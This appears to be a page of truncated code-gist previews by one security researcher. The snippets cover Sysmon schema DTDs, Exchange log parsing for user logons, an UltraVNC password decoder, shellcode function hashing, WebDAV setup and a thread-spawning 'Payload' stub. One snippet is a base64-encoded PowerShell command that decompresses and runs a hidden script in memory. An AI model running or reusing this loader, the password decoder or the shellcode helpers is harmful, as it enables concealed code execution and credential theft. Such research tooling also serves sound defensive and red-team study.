leechristensen

Pulled it using strings.exe..... :)

<!DOCTYPE Sysmon [<!ELEMENT Sysmon (EventFiltering|HashAlgorithms)*>
<!ATTLIST Sysmon schemaversion CDATA #REQUIRED>
<!ELEMENT EventFiltering (ProcessCreate|FileCreateTime|NetworkConnect|ProcessTerminate|DriverLoad|ImageLoad|CreateRemoteThread)*>
<!ELEMENT ProcessCreate (SequenceNumber|UtcTime|ProcessGuid|ProcessId|Image|CommandLine|CurrentDirectory|User|LogonGuid|LogonId|TerminalSessionId|IntegrityLevel|Hashes|ParentProcessGuid|ParentProcessId|ParentImage|ParentCommandLine)*>
<!ATTLIST ProcessCreate onmatch (include|exclude) #IMPLIED>
<!ATTLIST ProcessCreate default (include|exclude) #IMPLIED>
<!ELEMENT SequenceNumber (#PCDATA)*>
<!ATTLIST SequenceNumber condition CDATA "is">

leechristensen

# Author: Lee Christensen (@tifkin_)

#$RPClientLogDir = "$($env:exchangeinstallpath)\Logging\RPC Client Access\"
$RPClientLogDir = "."
$NumberOfLogs = 100
$RecentLogs = ls "$RPClientLogDir\*.log" | sort LastWriteTime -Descending | select -First $NumberOfLogs -ExpandProperty FullName

$UserLogons = @()
foreach($Log in $RecentLogs)
{

leechristensen

$EWSLogPath = "$($env:exchangeinstallpath)\Logging\EWS\"
$EWSLogPath = "."
$NumberOfLogs = 10
$RecentLogs = ls "$EWSLogPath\*.log" | sort LastWriteTime -Descending | select -First $NumberOfLogs -ExpandProperty FullName

$UserLogons = @()
foreach($Log in $RecentLogs)
{
    $LogFile = Get-Content $Log | select -Skip 5

leechristensen

using System;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Text;

namespace UltraVNCPasswordDecoder
{
    class Program
    {
        public static string ByteArrayToHex(byte[] bytes)

leechristensen

<!DOCTYPE Sysmon [<!ELEMENT Sysmon (EventFiltering|HashAlgorithms)*>
<!ATTLIST Sysmon schemaversion CDATA #REQUIRED>
<!ELEMENT EventFiltering (ProcessCreate|FileCreateTime|NetworkConnect|ProcessTerminate|DriverLoad|ImageLoad|CreateRemoteThread|RawAccessRead)*>
<!ELEMENT ProcessCreate (UtcTime|ProcessGuid|ProcessId|Image|CommandLine|CurrentDirectory|User|LogonGuid|LogonId|TerminalSessionId|IntegrityLevel|Hashes|ParentProcessGuid|ParentProcessId|ParentImage|ParentCommandLine)*>
<!ATTLIST ProcessCreate onmatch (include|exclude) #IMPLIED>
<!ATTLIST ProcessCreate default (include|exclude) #IMPLIED>
<!ELEMENT UtcTime (#PCDATA)*>
<!ATTLIST UtcTime condition CDATA "is">
<!ELEMENT ProcessGuid (#PCDATA)*>
<!ATTLIST ProcessGuid condition CDATA "is">

leechristensen

PS C:\> $Command = 'powershell.exe  -E "cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAagBWAEQATgBhAHQAdABBAEUATAA0AGIALwBBADYARABFAEcAUgBGAHIAUwBWAE4ANgBNAFgARgBoADkAWgB1ADAAMABBAGMAVABLADIAMgBCACsASABEAFcAcABwAFkAUwAxAGMANwBZAG4AZgBVADEASQBTACsAZQAwAGUAVwAwADAAQgBQAHUAVwBqAEYAegBIAHkALwBLAFIAOAA3AGgAQQBWADgAcQBPAHUAOABHAEgANwB6AE4AYgBaADcARABDAHQAOABzAE4ANgB5AEoAUQA4AFgANQBjAHEANQAyADcAYQBqAHcAQwByADUAaQBjAEcAagB1ADcANwBTAHQAWABQAEoAYgBOAG0AWQBzAEUAVgBlAG4ARgAvADkAegBkAHUASwBhAHMAeAAyAFgAYgA5ADMAdABvAEwASQBoAHUAWABCADMAeQB3AHcAdQBQAFcAOAA0AFEAQQAzAHkARQB0AHEAVwArAFAAcgBPACsAdABSAFoAZQA4AHYASQBOACsAWQBHAEkAcwBtADkASgBEAGYAbQB4AGIAaABoAC8AWABYAFYAOQBOAEoATwBwAHcAdgBJAEIAMAA4AHoAdQBmAC8ANAAyAFMALwBQAGUAMwBMAHIANwAxAG4AMgA2AEkAVwBBAFEAegBVAGIAVABIADgA

leechristensen

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

// Calculates function hashes for use in Matt Graeber's C to Shellcode project
// See http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html
//
// Usage: PrintFunctionHashes.exe user32.dll | findstr /i messagebox

// This compiles to a ROR instruction

leechristensen

1) Enable WebDAV

sudo a2enmod dav
sudo a2enmod dav_fs

mkdir -p /var/www/webdav
touch /var/www/DavLock
chown www-data:www-data /var/www/webdav /var/www/DavLock

2) vim /etc/apache2/sites-available/000-default.conf

leechristensen

Name                                                Dll                     DeclaringType
----                                                ---                     -------------
GetCurrentThreadId                                  kernel32.dll            System.AppDomain
VarCyFromDec                                        oleaut32.dll            System.StubHelpers.StubHelpers
VarDecFromCy                                        oleaut32.dll            System.StubHelpers.StubHelpers
CreateActContext                                    mscorwks.dll            System.Deployment.Internal.Isolation.IsolationInterop
CreateCMSFromXml                                    mscorwks.dll            System.Deployment.Internal.Isolation.IsolationInterop
ParseManifest                                       mscorwks.dll            System.Deployment.Internal.Isolation.IsolationInterop
GetUserStore                                        mscorwks.dll            System.Deployment.Internal.Isolation.IsolationInterop

leechristensen

void Payload() {
	DWORD threadId;
	CreateThread(
		NULL,                   // default security attributes
		0,                      // use default stack size  
		MyThreadFunction,       // thread function name
		NULL,          // argument to thread function 
		0,                      // use default creation flags 
		&threadId);
}